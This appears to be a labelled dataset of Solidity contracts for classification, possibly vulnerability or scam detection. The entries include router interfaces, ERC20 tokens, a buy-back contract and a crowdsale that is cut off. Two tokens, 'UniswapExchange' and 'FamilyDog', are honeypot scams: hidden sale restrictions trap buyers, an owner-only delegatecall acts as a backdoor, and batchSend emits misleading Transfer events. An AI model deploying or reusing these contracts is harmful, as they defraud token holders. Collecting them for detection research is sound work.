} | 0 | 111 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract MCCBuyBack is OKLGWithdrawable {
address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address public MCC = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
address public stable = 0x55d398326f99059fF775485246999027B3197955;
IUniswapV2Router02 private router;
constructor() {
if (block.chainid == 56) {
router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
} else if (block.chainid == 97) {
router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);
} else if (block.chainid == 1 || block.chainid == 4) {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
} else if (block.chainid == 43114) {
router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
} else if (block.chainid == 250) {
router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
} else {
revert();
}
if (block.chainid == 56) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 97) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 1 || block.chainid == 4) {
stable = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
} else if (block.chainid == 43114) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 250) {
stable = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75;
} else {
revert();
}
}
receive() external payable { }
function BuyforRewardsUsingTreasury() external payable {
require(msg.value >= 0.01 ether, 'Ensure Buy Back is Matched');
require((address(this).balance >= 0.1 ether), 'Ensure Buy Back Funds Are Present');
uint256 refundAmount = msg.value / 2;
uint256 swapAmount = (msg.value * 10) + refundAmount;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = MCC;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: swapAmount
}(
0,
path,
receiver,
block.timestamp
);
address[] memory pathstable = new address[](2);
pathstable[0] = router.WETH();
pathstable[1] = stable;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: refundAmount
}(
0,
pathstable,
tx.origin,
block.timestamp
);
}
function setMCC(address _MCC) external onlyOwner {
MCC = _MCC;
}
function setStables(address _stable) external onlyOwner {
stable = _stable;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 0 | 1,170 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,391 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,543 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FamilyDog {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 220 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
newOwner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Administrable is Ownable {
event AdminstratorAdded(address adminAddress);
event AdminstratorRemoved(address adminAddress);
mapping (address => bool) public administrators;
modifier onlyAdministrator() {
require(administrators[msg.sender] || owner == msg.sender);
_;
}
function addAdministrators(address _adminAddress) onlyOwner {
administrators[_adminAddress] = true;
AdminstratorAdded(_adminAddress);
}
function removeAdministrators(address _adminAddress) onlyOwner {
delete administrators[_adminAddress];
AdminstratorRemoved(_adminAddress);
}
}
contract GimliToken is ERC20, SafeMath, Ownable {
uint8 public constant decimals = 8;
string public constant name = "Gimli Token";
string public constant symbol = "GIM";
string public constant version = 'v1';
uint256 public constant UNIT = 10**uint256(decimals);
uint256 constant MILLION_GML = 10**6 * UNIT;
uint256 public constant TOTAL_SUPPLY = 150 * MILLION_GML;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
bool public transferable = false;
function transfer(address _to, uint256 _value) returns (bool success) {
require(transferable);
require(balances[msg.sender] >= _value && _value >=0);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(transferable);
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GimliCrowdsale is SafeMath, GimliToken {
address public constant MULTISIG_WALLET_ADDRESS = 0xc79ab28c5c03f1e7fbef056167364e6782f9ff4f;
address public constant LOCKED_ADDRESS = 0xABcdEFABcdEFabcdEfAbCdefabcdeFABcDEFabCD;
uint256 public constant CROWDSALE_AMOUNT = 80 * MILLION_GML;
uint256 public constant START_DATE = 1505736000;
uint256 public constant END_DATE = 1508500800;
uint256 public constant CROWDSALE_PRICE = 700;
uint256 public constant VESTING_1_AMOUNT = 10 * MILLION_GML;
uint256 public constant VESTING_1_DATE = 1537272000;
uint256 public constant VESTING_2_AMOUNT = 30 * MILLION_GML;
